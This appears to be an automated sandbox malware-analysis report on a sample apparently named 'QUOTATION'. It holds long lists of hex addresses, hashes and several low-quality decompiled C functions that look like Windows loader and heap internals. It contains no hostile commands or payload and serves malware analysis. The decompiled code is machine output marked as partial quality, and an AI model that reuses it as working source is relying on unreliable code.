0x33725d74
0x33725d81
0x33725d86
0x33725d8d
0x33725d9e
0x33780955
0x33780958
0x3378095e
0x33780960
0x33780963
0x33780969
0x33780969
0x3378096f
0x3378096f
0x3378096f
0x3378096f
0x33780971
0x33780977
0x33780979
0x33780989
0x33780992
0x33780998
0x3378099c
0x3378099e
0x337809a4
0x337809a6
0x337809ac
0x337809ac
0x337809b4
0x337809b4
0x337809bc
0x337809c6
0x337809ce
0x337809cf
0x337809d1
0x337809d4
0x33725da4
0x33725da4
0x33725dac
0x33725f0b
0x33725f0b
0x33725db8
0x337809e2
0x337809e9
0x337809ef
0x337809ef
0x33725dbe
0x33725dc1
0x33725dc7
0x33725dc9
0x33725dcc
0x33725dd2
0x33725de0
0x33725de0
0x33725de2
0x33725de8
0x33725dea
0x33725df0
0x33725df3
0x33725e00
0x00000000
0x00000000
0x33725e08
0x33725eec
0x33725eef
0x337809f9
0x33780a00
0x00000000
0x00000000
0x33780a06
0x33725ef7
0x33725f00
0x33725e29
0x33725e29
0x33725e2c
0x33725e34
0x33725e38
0x33725e3a
0x33725e40
0x33725e42
0x33725e4e
0x00000000
0x33725e58
0x33725e58
0x33725e5e
0x33725e66
0x00000000
0x00000000
0x00000000
0x33725e6c
0x33725e4e
0x33725e0e
0x33725e0e
0x33725e21
0x33725e23
0x00000000
0x33725e23
0x33725de0
0x00000000
0x33725d9e
0x33725eda
0x33725ee0
0x33725f53
0x33725f59
0x3372602d
0x33726033
0x33726035
0x00000000
0x33726035
0x33725f5f
0x00000000
0x33725f5f
0x33725ee2
0x00000000
0x33725ee2
0x33725c04
0x33725c0a
0x33725c0b
0x33725c11
0x33725c1a
0x00000000
0x00000000
0x33725c24
0x33726047
0x3372604c
0x3372604c
0x33725c2a
0x33725c30
0x33725c3a
0x33725c40
0x33725c4c
0x33725c52
0x33725c5f
0x33725c68
0x33725c71
0x33725c7a
0x33725c7d
0x33725c85
0x33725c9e
0x33725ca1
0x33725ca7
0x33725cad
0x33725cba
0x3378087c
0x33725cc0
0x33725cc0
0x33725cc0
0x33725cc4
0x33780886
0x33780889
0x33780889
0x33725cd1
0x33780897
0x33780897
0x33725cf0
0x337808a2
0x337808a2
0x33725cf6
0x33725cfc
0x33725d09
0x337808ae
0x337808ae
0x33725d0f
0x33725d15
0x33725d22
0x337808ba
0x337808ba
0x33725d22
0x33725d28
0x33725d2f
0x33725d37
0x33725d39
0x33725d40
0x33725d47
0x33725f41
0x33725f47
0x33725fc2
0x33725fc8
0x33725f49
0x33725f49
0x33725f49
0x33725d4d
0x33725d4d
0x33725d4d
0x00000000
0x33725d47
0x33725be7
0x33725e7f
0x33725baf
0x00000000
0x33725baf
0x33725ba1
0x33725a46
0x33725a4b
0x33725a52
0x33725a5f
0x33725a64
0x33725a6b
0x33725a71
0x33725a76
0x33780772
0x33726068
0x33726073
0x33726073
0x33725a7c
0x33725a82
0x33725a88
0x33725a8e
0x33725a92
0x33725a95
0x33725a9c
0x33725aa3
0x33725ab6
0x33725abb
0x33725abe
0x33725ac5
0x33725ace
0x33725ad1
0x33725ad3
0x00000000
0x33725ad3
0x337259fe
0x33725a01
0x33725a07
0x33725a08
0x33725a0d
0x33725a15
0x00000000
0x00000000
0x33725a1b
0x33725a1e
0x00000000

Strings

@, xrefs: 337808AE

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f4f6aa5cffc7efd895cb8d02ac1988b1797da46000a888eb793f597ace7a8299
Instruction ID: bad288e7b5d7f15a6502bef31f6c7580ded48bdb77cf5f65beea892364082ce0
Opcode Fuzzy Hash: f4f6aa5cffc7efd895cb8d02ac1988b1797da46000a888eb793f597ace7a8299
Instruction Fuzzy Hash: B4325474D00369DFEB21CF64C888BD9FBB5BB08354F0440EAD449AB641EBB59A84DF91

Uniqueness

Uniqueness Score: -1.00%

Function 337C8B90 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 298
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E337C8B90(signed int __ecx, signed int __edx, signed int _a4) {
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				char _v68;
				char _v76;
				signed int _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v124;
				intOrPtr _v128;
				signed int _v132;
				char _v136;
				intOrPtr _v140;
				signed int _v144;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				char _v164;
				signed int _v168;
				char _v172;
				signed int _v176;
				signed int _v180;
				char _v184;
				char _v188;
				signed int _t124;
				signed int _t133;
				signed int _t136;
				char* _t137;
				signed int _t138;
				signed int _t141;
				char _t146;
				signed int _t152;
				signed int _t156;
				signed int _t160;
				char* _t163;
				signed int _t165;
				signed int _t170;
				void* _t175;
				signed int* _t177;
				signed int _t182;
				char _t183;
				signed int _t191;
				void* _t195;
				signed int _t196;
				signed int _t197;
				signed int _t198;
				signed int _t200;
				signed int _t203;
				signed int _t204;
				signed int _t206;
				signed int _t207;
				signed int _t210;
				signed int _t211;
				signed int _t212;
				void* _t214;

				_t192 = __edx;
				_t214 = (_t212 & 0xfffffff8) - 0xb4;
				_t175 = __ecx;
				_t206 = __edx;
				_v160 = __edx;
				if((__ecx & 0x00000003) <= 0) {
					__eflags =  *__ecx - 0xffffffff;
					if( *__ecx != 0xffffffff) {
						_t200 = 0;
						_v172 = 0x10000;
						_v176 = 0;
						while(1) {
							_push(_t200);
							_push(0x8000000);
							_push(4);
							_v180 = _t200;
							_push( &_v172);
							_push(_t200);
							_push(0xf001f);
							_v168 = _t200;
							_push( &_v180);
							_t207 = E33762E50();
							__eflags = _t207;
							if(_t207 < 0) {
								break;
							}
							E33768F40( &_v76, _t200, 0x48);
							_t214 = _t214 + 0xc;
							_v60 =  *(_t175 + 4);
							_v56 =  *((intOrPtr*)(_t175 + 8));
							_v68 = _v172;
							_v64 = _v168;
							_v76 = _v180;
							_t207 = E337C8305( *_t175,  &_v76);
							__eflags = _t207 - 0xc0000023;
							if(_t207 != 0xc0000023) {
								__eflags = _t207;
								if(_t207 < 0) {
									L55:
									__eflags = _v176;
									if(_v176 != 0) {
										_push(_v176);
										_push(0xffffffff);
										E33762C50();
									}
									__eflags = _v180;
									if(_v180 != 0) {
										_push(_v180);
										E33762A80();
									}
									_t124 = _t207;
									goto L60;
								}
								_push(4);
								_push(_t200);
								_push(2);
								_v156 = _t200;
								_push( &_v164);
								_v152 = _t200;
								_push( &_v156);
								_push(0x10000);
								_push(_t200);
								_push( &_v176);
								_push(0xffffffff);
								_push(_v180);
								_v164 = 0x10000;
								_t207 = E33762C30();
								__eflags = _t207;
								if(_t207 < 0) {
									goto L55;
								}
								E33768F40( &_v124, 0, 0x30);
								_t133 =  *(_t175 + 0xc);
								_v144 = _t133;
								__eflags = _t133;
								if(_t133 == 0) {
									_t66 = _t175 + 0x14; // 0x14
									_v124 = _t175;
									_v84 = _t66;
									_t136 = _v160 + _t175;
									__eflags = _t136;
									_v88 = _t175;
									_v80 = _t136;
									_t137 =  &_v124;
									_v144 = 0x337c7be0;
								} else {
									_t137 =  *((intOrPtr*)(_t175 + 0x10));
								}
								_v160 = _v160 & _t200;
								_v140 = _t137;
								__eflags = _v44 - _t200;
								if(_v44 <= _t200) {
									L47:
									__eflags = _v144 - 0x337c7be0;
									if(_v144 != 0x337c7be0) {
										_t138 = _a4;
										__eflags = _t138;
										if(_t138 != 0) {
											 *_t138 = 0x2c;
										}
									} else {
										__eflags = _t207;
										if(_t207 >= 0) {
											_t182 = _a4;
											__eflags = _t182;
											if(_t182 != 0) {
												_t141 = _v84 - _v88;
												__eflags = _t141;
												 *_t182 = _t141;
											}
											__eflags = _v84 - _v80;
											if(_v84 > _v80) {
												_t207 = 0xc0000023;
											}
										}
									}
									goto L55;
								} else {
									while(1) {
										_t203 = _t200 + 0x00000003 & 0xfffffffc;
										__eflags = _t203 - _v172;
										if(_t203 >= _v172) {
											break;
										}
										_t183 = _v164;
										__eflags = _t203 - _t183 + _t183;
										if(_t203 >= _t183 + _t183) {
											break;
										}
										_t195 = _t183 + _v156;
										asm("adc eax, [esp+0x2c]");
										__eflags = 0 - _v168;
										if(__eflags > 0) {
											break;
										}
										if(__eflags < 0) {
											L39:
											_t196 = _v176;
											_t177 = _t203 + _t196;
											__eflags = _t203 + 8 - _t183;
											if(_t203 + 8 >= _t183) {
												L41:
												_push(_t196);
												_push(0xffffffff);
												E33762C50();
												_t146 = _v172;
												_push(4);
												_v164 = _v164 + _t146;
												_push(0);
												asm("adc [esp+0x34], ebx");
												_push(2);
												_push( &_v172);
												_v184 = 0;
												_push( &_v164);
												_push(_t146);
												_push(0);
												_push( &_v184);
												_push(0xffffffff);
												_t94 =  &_v188; // 0x337c7be0
												_push( *_t94);
												_t207 = E33762C30();
												__eflags = _t207;
												if(_t207 < 0) {
													goto L47;
												}
												_t203 = 0;
												_t177 = _v176;
												L43:
												 *0x338191e0(_t177, _v140);
												_t207 =  *_v144();
												__eflags = _t207;
												if(_t207 < 0) {
													goto L47;
												}
												_t200 = _t203 + _t177[1];
												_t152 = _v168 + 1;
												_v168 = _t152;
												__eflags = _t152 - _v52;
												if(_t152 < _v52) {
													continue;
												}
												goto L47;
											}
											__eflags =  *_t177;
											if( *_t177 != 0) {
												goto L43;
											}
											goto L41;
										}
										__eflags = _t195 - _v172;
										if(_t195 > _v172) {
											break;
										}
										goto L39;
									}
									_t207 = 0xc000003e;
									goto L47;
								}
							}
							_push(_v180);
							E33762A80();
							_t156 = _v52 + 0x0000ffff & 0xffff0000;
							__eflags = _t156;
							_v176 = _t156;
						}
						goto L55;
					} else {
						_v136 =  *((intOrPtr*)(__ecx + 8));
						E33768F40( &_v124, 0, 0x30);
						_t160 =  *(_t175 + 0xc);
						__eflags = _t160;
						if(_t160 == 0) {
							_t10 = _t175 + 0x14; // 0x14
							_v124 = _t175;
							_v84 = _t10;
							_v80 = _t175 + _t206;
							_t163 =  &_v124;
							_v88 = _t175;
							_v132 = 0x337c7be0;
						} else {
							_v132 = _t160;
							_t163 =  *((intOrPtr*)(_t175 + 0x10));
						}
						_v128 = _t163;
						E3372FED0(0x33814800);
						_t165 =  *(_t175 + 4);
						__eflags = _t165;
						if(_t165 != 0) {
							__eflags =  *((intOrPtr*)(_t165 + 8)) - 0xddeeddee;
							if( *((intOrPtr*)(_t165 + 8)) != 0xddeeddee) {
								_t204 =  *(_t165 + 0x7c) & 0x0000ffff;
							} else {
								_t204 =  *(_t165 + 0x14) & 0x0000ffff;
							}
							__eflags = _t204 - 0xffff;
							if(_t204 != 0xffff) {
								E3374DAC0(0xffff, _t165);
								_t165 =  *(_t175 + 4);
							}
							_t188 =  &_v136;
							_t210 = E337C9060(_t165,  &_v136);
							__eflags = _t204 - 0xffff;
							if(_t204 != 0xffff) {
								E3374DA20( &_v136,  *(_t175 + 4));
							}
						} else {
							_t188 =  &_v136;
							_t210 = E337C8F76( &_v136, _t192);
						}
						_push(0x33814800);
						E3372E740(_t188);
						_t27 = _t210 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb ecx, ecx");
						_t191 =  ~_t27 & _t210;
						__eflags = _v136 - 0x337c7be0;
						_t124 = _t191;
						if(_v136 != 0x337c7be0) {
							_t197 = _a4;
							__eflags = _t197;
							if(_t197 != 0) {
								 *_t197 = 0x2c;
								_t124 = _t191;
							}
						} else {
							__eflags = _t191;
							if(_t191 >= 0) {
								_t198 = _a4;
								_t211 = _v80;
								__eflags = _t198;
								if(_t198 != 0) {
									_t170 = _t211 - _v84;
									__eflags = _t170;
									 *_t198 = _t170;
								}
								_t124 = _t191;
								__eflags = _t211 - _v76;
								if(_t211 > _v76) {
									_t124 = 0xc0000023;
								}
							}
						}
						goto L60;
					}
				} else {
					_t124 = 0xc000000d;
					L60:
					return _t124;
				}
			}

0x337c8b90
0x337c8b98
0x337c8ba0
0x337c8ba2
0x337c8ba4
0x337c8bac
0x337c8bb8
0x337c8bbb
0x337c8cdd
0x337c8cdf
0x337c8ce7
0x337c8d65
0x337c8d65
0x337c8d66
0x337c8d6b
0x337c8d71
0x337c8d75
0x337c8d76
0x337c8d77
0x337c8d80
0x337c8d84
0x337c8d8a
0x337c8d8c
0x337c8d8e
0x00000000
0x00000000
0x337c8cf5
0x337c8d06
0x337c8d09
0x337c8d13
0x337c8d1e
0x337c8d29
0x337c8d34
0x337c8d3d
0x337c8d3f
0x337c8d45
0x337c8d99
0x337c8d9b
0x337c8f49
0x337c8f49
0x337c8f4e
0x337c8f50
0x337c8f54
0x337c8f56
0x337c8f56
0x337c8f5b
0x337c8f60
0x337c8f62
0x337c8f66
0x337c8f66
0x337c8f6b
0x00000000
0x337c8f6b
0x337c8da1
0x337c8da3
0x337c8da4
0x337c8daa
0x337c8dae
0x337c8db3
0x337c8db7
0x337c8dc1
0x337c8dc2
0x337c8dc3
0x337c8dc4
0x337c8dc6
0x337c8dca
0x337c8dd3
0x337c8dd5
0x337c8dd7
0x00000000
0x00000000
0x337c8de6
0x337c8deb
0x337c8df1
0x337c8df5
0x337c8df7
0x337c8dfe
0x337c8e01
0x337c8e05
0x337c8e0d
0x337c8e0d
0x337c8e0f
0x337c8e13
0x337c8e17
0x337c8e1b
0x337c8df9
0x337c8df9
0x337c8df9
0x337c8e23
0x337c8e27
0x337c8e2b
0x337c8e32
0x337c8f0c
0x337c8f0c
0x337c8f14
0x337c8f3c
0x337c8f3f
0x337c8f41
0x337c8f43
0x337c8f43
0x337c8f16
0x337c8f16
0x337c8f18
0x337c8f1a
0x337c8f1d
0x337c8f1f
0x337c8f25
0x337c8f25
0x337c8f29
0x337c8f29
0x337c8f2f
0x337c8f33
0x337c8f35
0x337c8f35
0x337c8f33
0x337c8f18
0x00000000
0x337c8e38
0x337c8e38
0x337c8e3b
0x337c8e3e
0x337c8e42
0x00000000
0x00000000
0x337c8e48
0x337c8e4f
0x337c8e51
0x00000000
0x00000000
0x337c8e5b
0x337c8e5f
0x337c8e63
0x337c8e67
0x00000000
0x00000000
0x337c8e6d
0x337c8e79
0x337c8e79
0x337c8e80
0x337c8e83
0x337c8e85
0x337c8e8c
0x337c8e8c
0x337c8e8d
0x337c8e8f
0x337c8e94
0x337c8e9c
0x337c8ea0
0x337c8ea4
0x337c8ea5
0x337c8ea9
0x337c8eab
0x337c8eb0
0x337c8eb4
0x337c8eb5
0x337c8eb6
0x337c8ebb
0x337c8ebc
0x337c8ebe
0x337c8ebe
0x337c8ec7
0x337c8ec9
0x337c8ecb
0x00000000
0x00000000
0x337c8ecd
0x337c8ecf
0x337c8ed3
0x337c8ede
0x337c8ee6
0x337c8ee8
0x337c8eea
0x00000000
0x00000000
0x337c8ef0
0x337c8ef3
0x337c8ef4
0x337c8ef8
0x337c8eff
0x00000000
0x00000000
0x00000000
0x337c8f05
0x337c8e87
0x337c8e8a
0x00000000
0x00000000
0x00000000
0x337c8e8a
0x337c8e6f
0x337c8e73
0x00000000
0x00000000
0x00000000
0x337c8e73
0x337c8f07
0x00000000
0x337c8f07
0x337c8e32
0x337c8d47
0x337c8d4b
0x337c8d5c
0x337c8d5c
0x337c8d61
0x337c8d61
0x00000000
0x337c8bc1
0x337c8bc6
0x337c8bd1
0x337c8bd6
0x337c8bdc
0x337c8bde
0x337c8be9
0x337c8bec
0x337c8bf0
0x337c8bf7
0x337c8bfb
0x337c8bff
0x337c8c03
0x337c8be0
0x337c8be0
0x337c8be4
0x337c8be4
0x337c8c10
0x337c8c14
0x337c8c19
0x337c8c1c
0x337c8c1e
0x337c8c2d
0x337c8c34
0x337c8c3c
0x337c8c36
0x337c8c36
0x337c8c36
0x337c8c45
0x337c8c48
0x337c8c4b
0x337c8c50
0x337c8c50
0x337c8c53
0x337c8c5e
0x337c8c65
0x337c8c68
0x337c8c6d
0x337c8c6d
0x337c8c20
0x337c8c20
0x337c8c29
0x337c8c29
0x337c8c72
0x337c8c77
0x337c8c7c
0x337c8c84
0x337c8c86
0x337c8c88
0x337c8c90
0x337c8c92
0x337c8cc5
0x337c8cc8
0x337c8cca
0x337c8cd0
0x337c8cd6
0x337c8cd6
0x337c8c94
0x337c8c94
0x337c8c96
0x337c8c9c
0x337c8c9f
0x337c8ca3
0x337c8ca5
0x337c8ca9
0x337c8ca9
0x337c8cad
0x337c8cad
0x337c8caf
0x337c8cb1
0x337c8cb5
0x337c8cbb
0x337c8cbb
0x337c8cb5
0x337c8c96
0x00000000
0x337c8c92
0x337c8bae
0x337c8bae
0x337c8f6d
0x337c8f73
0x337c8f73

Strings

HEAP: , xrefs: 337C8B9E
{|3, xrefs: 337C8EBE

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: HEAP: ${|3
API String ID: 0-1762705886
Opcode ID: f5c0c7807cf630c494721da161bb25c1b4ee4c58d9e222c59c4ec33df79f610b
Instruction ID: ce3f050c3db0a7b840c5f8cee43bb5fdb7bb64bbcf1e605ff1db81c32c1954bc
Opcode Fuzzy Hash: f5c0c7807cf630c494721da161bb25c1b4ee4c58d9e222c59c4ec33df79f610b
Instruction Fuzzy Hash: 20B18B71A09381EFD720CF28C884A5BBBE5AF84755F444A6EF994DF290DB30D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 33754B79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E33754B79(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t82;
				signed int _t86;
				signed int _t89;
				intOrPtr* _t97;
				signed int _t99;
				void* _t102;
				void* _t104;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t113;
				signed int _t114;
				void* _t115;

				_t107 = __edx;
				_t72 =  *0x3381b370 ^ _t114;
				_v8 =  *0x3381b370 ^ _t114;
				_t110 = __ecx;
				_v96 = __edx;
				_t99 = __edx;
				if(__edx == 0 || ( *(__edx + 8) & 0x00000004) != 0) {
					L12:
					return E33764B50(_t72, _t97, _v8 ^ _t114, _t107, _t110, _t111);
				} else {
					_t110 = __ecx + 4;
					_t97 =  *_t110;
					while(_t97 != _t110) {
						_t6 = _t97 - 8; // -4
						_t111 = _t6;
						_t107 = 1;
						if( *_t111 != 0x74736c46) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = 1;
							_v68 = 1;
							_v64 = _t110;
							_v60 = _t111;
							_v92 = 0xc0150015;
							_v88 = 1;
							E33778A60(_t99, 1);
							_t99 = _v96;
							_t107 = 1;
						}
						if( *(_t111 + 0x14) !=  !( *(_t111 + 4))) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = _t107;
							_v68 = 2;
							_v64 = _t110;
							_v60 = _t111;
							_v92 = 0xc0150015;
							_v88 = _t107;
							E33778A60(_t99, _t107);
							_t99 = _v96;
						}
						_t72 = _t111 + 0x18;
						if(_t99 < _t111 + 0x18) {
							L13:
							_t97 =  *_t97;
							continue;
						} else {
							_t10 = _t111 + 0x618; // 0x614
							_t72 = _t10;
							if(_t99 >= _t10) {
								goto L13;
							} else {
								_v96 = 0x30;
								_t82 = _t99 - _t111 - 0x18;
								asm("cdq");
								_t107 = _t82 % _v96;
								_t72 = 0x18 + _t82 / _v96 * 0x30 + _t111;
								if(_t99 == 0x18 + _t82 / _v96 * 0x30 + _t111) {
									_t72 =  *(_t111 + 4);
									if(_t72 != 0) {
										_t86 = _t72 - 1;
										 *(_t111 + 4) = _t86;
										_t72 =  !_t86;
										 *(_t111 + 0x14) =  !_t86;
										 *((intOrPtr*)(_t99 + 8)) = 4;
										if( *(_t111 + 4) == 0) {
											_t72 =  *(_t97 + 4);
											if(_t72 != _t110) {
												do {
													_t111 =  *(_t72 + 4);
													_t56 = _t72 - 8; // 0xfffffff6
													_t107 = _t56;
													if( *((intOrPtr*)(_t107 + 4)) != 0) {
														goto L33;
													} else {
														_t102 =  *_t72;
														if( *(_t102 + 4) != _t72 ||  *_t111 != _t72) {
															_push(3);
															asm("int 0x29");
															_t104 = 0x3f;
															if( *((intOrPtr*)(_t72 + 2)) == _t104 &&  *(_t72 + 4) == _t104 &&  *((intOrPtr*)(_t72 + 6)) == _t111 &&  *(_t72 + 8) != _t97 &&  *((short*)(_t72 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t72 + 0xc)) == _t111) {
																_t72 = _t72 + 8;
															}
															_t112 =  *0x338165e4; // 0x76b3f0e0
															 *0x338191e0(_t107, _t72,  &_v8);
															_t113 =  *_t112();
															if(_t113 >= 0) {
																L18:
																_t89 = _v8;
																if(_t89 != 0) {
																	if( *(_t110 + 0x48) != _t97) {
																		E337226A0(_t89,  *(_t110 + 0x48));
																		_t89 = _v8;
																	}
																	 *(_t110 + 0x48) = _t89;
																}
																if(_t113 < 0) {
																	if(( *0x338137c0 & 0x00000003) != 0) {
																		E3379E692("minkernel\\ntdll\\ldrsnap.c", 0x2eb, "LdrpFindDllActivationContext", _t97, "Querying the active activation context failed with status 0x%08lx\n", _t113);
																	}
																	if(( *0x338137c0 & 0x00000010) != 0) {
																		asm("int3");
																	}
																}
																return _t113;
															} else {
																if(_t113 != 0xc000008a) {
																	if(_t113 == 0xc000008b || _t113 == 0xc0000089 || _t113 == 0xc000000f || _t113 == 0xc0000204 || _t113 == 0xc0000002) {
																		goto L16;
																	} else {
																		if(_t113 != 0xc00000bb) {
																			goto L18;
																		} else {
																			goto L16;
																		}
																	}
																	goto L53;
																} else {
																	L16:
																	if(( *0x338137c0 & 0x00000005) != 0) {
																		_push(_t113);
																		_t67 = _t110 + 0x24; // 0x123
																		E3379E692("minkernel\\ntdll\\ldrsnap.c", 0x2ce, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t67);
																		_t115 = _t115 + 0x1c;
																	}
																	_t113 = _t97;
																}
																goto L18;
															}
														} else {
															 *_t111 = _t102;
															 *(_t102 + 4) = _t111;
															E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t107);
															goto L33;
														}
													}
													goto L53;
													L33:
													_t72 = _t111;
												} while (_t111 != _t110);
											}
										}
									}
								}
								goto L12;
							}
						}
						goto L53;
					}
					goto L12;
				}
				L53:
			}

0x33754b79
0x33754b86
0x33754b88
0x33754b8e
0x33754b90
0x33754b93
0x33754b97
0x33754c27
0x33754c35
0x33754ba7
0x33754ba7
0x33754baa
0x33754bac
0x33754bb2
0x33754bb2
0x33754bb5
0x33754bbc
0x3379330f
0x33793316
0x33793317
0x3379331e
0x33793321
0x33793324
0x33793327
0x3379332a
0x33793331
0x33793334
0x33793339
0x3379333e
0x3379333e
0x33754bca
0x33793344
0x3379334b
0x3379334c
0x33793353
0x33793356
0x3379335d
0x33793360
0x33793363
0x3379336a
0x3379336d
0x33793372
0x33793372
0x33754bd0
0x33754bd5
0x33754c36
0x33754c36
0x00000000
0x33754bd7
0x33754bd7
0x33754bd7
0x33754bdf
0x00000000
0x33754be1
0x33754be3
0x33754bec
0x33754bef
0x33754bf0
0x33754bf9
0x33754bfd
0x33754bff
0x33754c04
0x33754c06
0x33754c07
0x33754c0a
0x33754c0c
0x33754c0f
0x33754c1a
0x33754c1c
0x33754c21
0x3379337a
0x3379337a
0x3379337d
0x3379337d
0x33793384
0x00000000
0x33793386
0x33793386
0x3379338b
0x337933b2
0x337933b5
0x337933b9
0x337933be
0x337933f7
0x337933f7
0x33754c76
0x33754c84
0x33754c8c
0x33754c90
0x33754ca9
0x33754ca9
0x33754cae
0x33754ce4
0x33754cee
0x33754cf3
0x33754cf3
0x33754ce6
0x33754ce6
0x33754cb2
0x33793463
0x3379347b
0x33793480
0x3379348a
0x33793490
0x33793490
0x3379348a
0x33754cbe
0x33754c92
0x33754c98
0x33754cc5
0x00000000
0x33793423
0x33793429
0x00000000
0x3379342f
0x00000000
0x3379342f
0x33793429
0x00000000
0x33754c9a
0x33754c9a
0x33754ca1
0x33793434
0x33793435
0x3379344f
0x33793454
0x33793454
0x33754ca7
0x33754ca7
0x00000000
0x33754c98
0x33793391
0x33793398
0x3379339c
0x337933a2
0x00000000
0x337933a2
0x3379338b
0x00000000
0x337933a7
0x337933a7
0x337933a9
0x337933ad
0x33754c21
0x33754c1a
0x33754c04
0x00000000
0x33754bfd
0x33754bdf
0x00000000
0x33754bd5
0x00000000
0x33754bac
0x00000000

Strings

0, xrefs: 33754BE3
Flst, xrefs: 33754BB6

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 305a1d95912dd745f6eb33d87b9c9f0b7801294910facbce4fd7b95670c5cc8c
Instruction ID: c0191ec3f04bf2725e22997813c48fa0fba167f36f6ef7dbdf639f99f914cde0
Opcode Fuzzy Hash: 305a1d95912dd745f6eb33d87b9c9f0b7801294910facbce4fd7b95670c5cc8c
Instruction Fuzzy Hash: DA518DB5E006488BFB19CF96D484799FBF9EF88795F18812EE0459F240EB709985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 33720485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E33720485(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _t50;
				intOrPtr* _t51;
				intOrPtr* _t73;
				intOrPtr _t76;
				char _t84;
				void* _t85;
				intOrPtr _t86;
				intOrPtr* _t89;

				_t89 = __ecx;
				_t76 =  *[fs:0x30];
				_t73 =  *0x33816630; // 0x0
				_v32 = 0;
				_v28 = 0;
				_v8 = 0;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(__ecx + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(__ecx + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				_v12 = _t76;
				 *((intOrPtr*)(__ecx + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t84 = 0;
				if(_t73 == 0) {
					_t73 = E337282E0(0xabababab, 0, "kLsE", 0);
					 *0x33816630 = _t73;
					if(_t73 != 0) {
						goto L1;
					}
					L4:
					_t85 = _t84 - 1;
					if(_t85 == 0) {
						 *((intOrPtr*)(_t89 + 8)) = 2;
						 *((intOrPtr*)(_t89 + 0xc)) = 0x23f0;
						L19:
						 *((intOrPtr*)(_t89 + 4)) = 6;
						L6:
						_t86 = _v12;
						_t51 =  *((intOrPtr*)(_t86 + 0x1f4));
						if(_t51 == 0 ||  *_t51 == 0) {
							L8:
							 *((short*)(_t89 + 0x14)) = 0;
							goto L9;
						} else {
							_t38 = _t89 + 0x14; // 0x130
							if(E33745C3F(_t38, 0x100, _t51) >= 0) {
								L9:
								if( *_t89 != 0x11c) {
									if( *_t89 != 0x124) {
										L16:
										return 0;
									}
								}
								 *((short*)(_t89 + 0x114)) =  *(_t86 + 0xaf) & 0x000000ff;
								 *(_t89 + 0x116) =  *(_t86 + 0xae) & 0x000000ff;
								 *(_t89 + 0x118) = E33720670();
								if( *_t89 == 0x124) {
									 *(_t89 + 0x11c) = E33720670() & 0x0001ffff;
								}
								 *((char*)(_t89 + 0x11a)) = 0;
								if(E33720630( &_v16) != 0) {
									 *((char*)(_t89 + 0x11a)) = _v16;
								}
								E33765050(0xff,  &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
								_push( &_v24);
								_push(4);
								_push( &_v8);
								_push( &_v20);
								_push( &_v32);
								if(E33763EE0() >= 0) {
									if(_v8 == 1) {
										if(_v20 != 4 || _v24 != 4) {
											goto L15;
										} else {
											goto L16;
										}
									}
									L15:
									 *(_t89 + 0x118) =  *(_t89 + 0x118) & 0x0000ffef;
									if( *_t89 == 0x124) {
										 *(_t89 + 0x11c) =  *(_t89 + 0x11c) & 0x0001ffef;
									}
								}
								goto L16;
							}
							goto L8;
						}
					}
					if(_t85 == 1) {
						 *((intOrPtr*)(_t89 + 8)) = 3;
						 *((intOrPtr*)(_t89 + 0xc)) = 0x2580;
						goto L19;
					}
					goto L6;
				}
				L1:
				if(_t73 != E33720690) {
					 *0x338191e0();
					_t50 =  *_t73();
				} else {
					_t50 = E33720690();
				}
				_t84 = _t50;
				goto L4;
			}

0x3372048f
0x33720493
